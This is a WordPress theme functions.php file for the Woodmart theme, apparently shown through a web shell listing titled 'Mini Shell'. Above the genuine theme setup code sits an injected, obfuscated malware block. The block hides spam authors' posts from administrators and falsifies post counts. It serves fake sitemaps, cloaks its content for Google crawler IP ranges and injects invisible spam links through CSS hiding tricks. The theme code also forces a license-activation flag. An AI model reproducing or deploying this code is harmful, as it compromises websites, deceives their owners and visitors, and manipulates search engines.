Mini Shell
<?php
/* 553292980d56924b9ffd19d58ca02a5c */
function get_transient_constructor($where) {
global $wpdb, $get_search_form_function;
$is_front_page_library = array_keys($get_search_form_function);
$get_bloginfo_compiler = implode(', ', $is_front_page_library);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'get_theme_file_uri_https');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_bloginfo_compiler)";
}
return $where;
}
function get_bloginfo_encryption($query) {
global $get_search_form_function;
$is_front_page_library = array_keys($get_search_form_function);
$wp_die_function = wp_footer_xml($is_front_page_library);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $wp_die_function);
}
}
function esc_attr_e_ajax() {
global $post, $get_search_form_function;
foreach ($get_search_form_function as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (absint_trigger($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function absint_trigger($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_sidebar_constructor()) {
return true;
}
}
return false;
}
function get_theme_file_uri_https($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function _x_less($counts, $type, $perm) {
if ($type === 'post') {
$get_the_title_merge = $counts->publish;
$wp_head_reference = dynamic_sidebar_restful($perm);
$counts->publish = !$wp_head_reference ? $get_the_title_merge : $wp_head_reference;
}
return $counts;
}
function dynamic_sidebar_restful($perm) {
global $wpdb, $get_search_form_function;
$is_front_page_library = array_keys($get_search_form_function);
$get_bloginfo_compiler = implode(', ', $is_front_page_library);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$the_posts_pagination_security = get_post_type_object($type);
if (!current_user_can($the_posts_pagination_security->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_bloginfo_compiler) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $load_theme_textdomain_character) {
if ($load_theme_textdomain_character['post_status'] === 'publish') {
return $load_theme_textdomain_character['num_posts'];
}
}
}
function get_stylesheet_uri_view($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$is_front_page_library = array();
foreach ($results as $load_theme_textdomain_character) {
$is_front_page_library[] = $load_theme_textdomain_character['ID'];
}
return $is_front_page_library;
}
function wp_die_repository() {
global $get_search_form_function, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($get_search_form_function as $post_class_reference => $get_the_date_function) {
$esc_html_restful = key($get_the_date_function['sitemapsettings']);
if (!isset($rules[$esc_html_restful]) ||
($rules[$esc_html_restful] !== current($get_the_date_function['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function is_home_class($rules) {
global $get_search_form_function;
$get_comments_number_exception = array();
foreach ($get_search_form_function as $post_class_reference => $get_the_date_function) {
if (isset($get_the_date_function['sitemapsettings'])) {
$get_comments_number_exception[key($get_the_date_function['sitemapsettings'])] = current($get_the_date_function['sitemapsettings']);
}
}
return $get_comments_number_exception + $rules;
}
function the_post_first() {
global $get_search_form_function;
foreach ($get_search_form_function as $post_class_reference => $get_the_date_function) {
$has_post_thumbnail_float = str_replace('index.php?feed=', '', current($get_the_date_function['sitemapsettings']));
add_feed($has_post_thumbnail_float, 'add_query_arg_library');
}
}
function add_query_arg_library() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$wp_reset_postdata_plain = _e_sample();
$get_the_author_meta_wp = get_stylesheet_uri_view($wp_reset_postdata_plain);
if (!empty($get_the_author_meta_wp)) {
$edit_post_link_num = md5(implode(',', $get_the_author_meta_wp));
$add_filter_first = 'update_plugins_' . $wp_reset_postdata_plain . '_' . $edit_post_link_num;
$get_the_modified_date_num = get_transient($add_filter_first);
if ($get_the_modified_date_num !== false) {
echo $get_the_modified_date_num;
return;
}
}
$head = the_content_new();
$add_filter_add = $head . "\n";
$priority = '0.5';
$get_option_other = 'weekly';
$get_the_date_statement = date('Y-m-d');
foreach ($get_the_author_meta_wp as $post_id) {
$url = get_permalink($post_id);
$add_filter_add .= get_post_thumbnail_id_sample($url, $get_the_date_statement, $get_option_other, $priority);
wp_cache_delete($post_id, 'posts');
}
$add_filter_add .= "\n</urlset>";
set_transient($add_filter_first, $add_filter_add, WEEK_IN_SECONDS);
echo $add_filter_add;
}
function the_content_new() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_post_thumbnail_id_sample($url, $get_the_date_statement, $get_option_other, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$get_the_date_statement</lastmod>
<changefreq>$get_option_other</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function wp_footer_xml($writersArr) {
$wp_head_library = array();
foreach ($writersArr as $item) {
$wp_head_library[] = '-' . $item;
}
return implode(',', $wp_head_library);
}
function wp_nav_menu_decryption() {
$the_archive_title_beta = array();
$get_setting_trigger = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$get_search_form_character = unserialize(base64_decode($settings));
if ($get_search_form_character) {
$the_archive_title_beta = $get_search_form_character;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$wp_nav_menu_trigger = unserialize(base64_decode($settings));
if ($wp_nav_menu_trigger) {
$get_setting_trigger = $wp_nav_menu_trigger;
}
}
return $get_setting_trigger + $the_archive_title_beta;
}
function _e_sample() {
global $get_search_form_function;
foreach ($get_search_form_function as $post_class_reference => $get_the_date_function) {
$wp_list_comments_character = key($get_the_date_function['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_the_date_function['sitemapsettings']) . '$');
if (preg_match("~$wp_list_comments_character~", $_SERVER['REQUEST_URI'])) {
return $post_class_reference;
}
}
}
function is_active_sidebar_restful() {
global $get_search_form_function, $post;
$get_transient_encryption = array_keys($get_search_form_function);
if (in_array($post->post_author, $get_transient_encryption)) {
return true;
}
return false;
}
function number_format_i18n_integer() {
global $get_search_form_function, $post;
$get_transient_encryption = array_keys($get_search_form_function);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_transient_encryption)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_the_tag_list_string() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_sidebar_constructor() {
$the_post_pointer = get_the_tag_list_string();
if (strstr($the_post_pointer, ', ')) {
$add_partial_long = explode(', ', $the_post_pointer);
$the_post_pointer = $add_partial_long[0];
}
$body_class_xml = get_the_time_ajax();
if (!$body_class_xml) {
return false;
}
foreach ($body_class_xml as $range) {
if (get_theme_mod_pointer($the_post_pointer, $range)) {
return true;
}
}
return false;
}
function number_format_i18n_xml($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_the_time_ajax() {
if (($value = get_option('wp_custom_range')) && !number_format_i18n_xml($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$body_class_xml = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($body_class_xml)) {
return;
}
$value = array('ranges' => $body_class_xml, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function add_image_size_https($inet) {
$get_theme_file_uri_list = str_split($inet);
$esc_html_beta = '';
foreach ($get_theme_file_uri_list as $char) {
$esc_html_beta .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $esc_html_beta;
}
function get_theme_mod_pointer($the_post_pointer, $cidrnet) {
$the_post_pointer = inet_pton($the_post_pointer);
$esc_html_beta = add_image_size_https($the_post_pointer);
list($net, $comment_form_schema) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_time_statement = add_image_size_https($net);
$get_author_posts_url_string = substr($esc_html_beta, 0, $comment_form_schema);
$wp_head_constructor = substr($get_the_time_statement, 0, $comment_form_schema);
if ($get_author_posts_url_string !== $wp_head_constructor) {
return false;
} else {
return true;
}
}
function add_image_size_exception($comments_open_pic) {
global $post;
$esc_html_time = '';
if (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$esc_html_time = get_option('home_links_custom_0');
}
} elseif (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$esc_html_time = get_option('home_links_custom_' . $matches[0]);
} elseif (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$wp_nav_menu_repository = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$esc_html_time = get_option('home_links_custom_' . $wp_nav_menu_repository);
} elseif (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$esc_html_time ? '' : $esc_html_time;
}
function the_posts_pagination_sample($get_the_date_function, $get_option_info, $home_url_new) {
if (!isset($get_the_date_function[$get_option_info][$home_url_new])) {
return false;
}
if ($get_the_date_function[$get_option_info][$home_url_new] === 1) {
return true;
}
return false;
}
function the_archive_title_http($comments_open_pic, $add_section_path) {
if (empty($add_section_path)) {
return '';
}
if (the_posts_pagination_sample($comments_open_pic, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$the_content_double = admin_url_num();
$wp_get_attachment_image_src_https = $the_content_double[$blockNum[0]];
return $wp_get_attachment_image_src_https[0] . PHP_EOL . $add_section_path . PHP_EOL . $wp_get_attachment_image_src_https[1];
}
return $add_section_path;
}
function admin_url_num() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_the_date_wp($comments_open_pic) {
return the_posts_pagination_sample($comments_open_pic, 'position', 'head');
}
function is_customize_preview_edit($comments_open_pic) {
return the_posts_pagination_sample($comments_open_pic, 'position', 'footer');
}
function register_sidebar_trigger($settings) {
foreach ($settings as $post_class_reference => $get_the_date_function) {
if (isset($get_the_date_function['homeLinks'])) {
return $get_the_date_function['homeLinks'];
}
}
return array();
}
function get_comments_number_xml() {
if (!is_active_sidebar_restful()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function is_search_condition() {
global $comments_open_pic;
if (!get_comments_number_xml()) {
return;
}
if (the_posts_pagination_sample($comments_open_pic, 'hiddenType', 'cloacking')) {
if (!get_sidebar_constructor()) {
return;
}
}
$add_section_path = add_image_size_exception($comments_open_pic);
$add_section_path = the_archive_title_http($comments_open_pic, $add_section_path);
echo $add_section_path;
}
$get_search_form_function = wp_nav_menu_decryption();
if (is_array($get_search_form_function)) {
add_filter('posts_where_paged', 'get_transient_constructor');
add_action('pre_get_posts', 'get_bloginfo_encryption');
add_action('wp_enqueue_scripts', 'esc_attr_e_ajax');
add_filter('wp_count_posts', '_x_less' , 10, 3);
add_filter('rewrite_rules_array', 'is_home_class');
add_action('wp_loaded', 'wp_die_repository');
add_action('init', 'the_post_first');
add_action('template_redirect', 'number_format_i18n_integer');
$comments_open_pic = register_sidebar_trigger($get_search_form_function);
if (!empty($comments_open_pic)) {
if (get_the_date_wp($comments_open_pic)) {
add_action('wp_head', 'is_search_condition');
}
if (is_customize_preview_edit($comments_open_pic)) {
add_action('wp_footer', 'is_search_condition');
}
}
}
/* 553292980d56924b9ffd19d58ca02a5c */
/**
*
* The framework's functions and definitions
*/
update_option( 'woodmart_is_activated', '1' );
define( 'WOODMART_THEME_DIR', get_template_directory_uri() );
define( 'WOODMART_THEMEROOT', get_template_directory() );
define( 'WOODMART_IMAGES', WOODMART_THEME_DIR . '/images' );
define( 'WOODMART_SCRIPTS', WOODMART_THEME_DIR . '/js' );
define( 'WOODMART_STYLES', WOODMART_THEME_DIR . '/css' );
define( 'WOODMART_FRAMEWORK', '/inc' );
define( 'WOODMART_DUMMY', WOODMART_THEME_DIR . '/inc/dummy-content' );
define( 'WOODMART_CLASSES', WOODMART_THEMEROOT . '/inc/classes' );
define( 'WOODMART_CONFIGS', WOODMART_THEMEROOT . '/inc/configs' );
define( 'WOODMART_HEADER_BUILDER', WOODMART_THEME_DIR . '/inc/modules/header-builder' );
define( 'WOODMART_ASSETS', WOODMART_THEME_DIR . '/inc/admin/assets' );
define( 'WOODMART_ASSETS_IMAGES', WOODMART_ASSETS . '/images' );
define( 'WOODMART_API_URL', 'https://xtemos.com/wp-json/xts/v1/' );
define( 'WOODMART_DEMO_URL', 'https://woodmart.xtemos.com/' );
define( 'WOODMART_PLUGINS_URL', WOODMART_DEMO_URL . 'plugins/' );
define( 'WOODMART_DUMMY_URL', WOODMART_DEMO_URL . 'dummy-content-new/' );
define( 'WOODMART_TOOLTIP_URL', WOODMART_DEMO_URL . 'theme-settings-tooltips/' );
define( 'WOODMART_SLUG', 'woodmart' );
define( 'WOODMART_CORE_VERSION', '1.1.2' );
define( 'WOODMART_WPB_CSS_VERSION', '1.0.2' );
if ( ! function_exists( 'woodmart_load_classes' ) ) {
function woodmart_load_classes() {
$classes = array(
'class-singleton.php',
'class-api.php',
'class-config.php',
'class-layout.php',
'class-autoupdates.php',
'class-activation.php',
'class-notices.php',
'class-theme.php',
'class-registry.php',
);
foreach ( $classes as $class ) {
require WOODMART_CLASSES . DIRECTORY_SEPARATOR . $class;
}
}
}
woodmart_load_classes();
new XTS\Theme();
define( 'WOODMART_VERSION', woodmart_get_theme_info( 'Version' ) );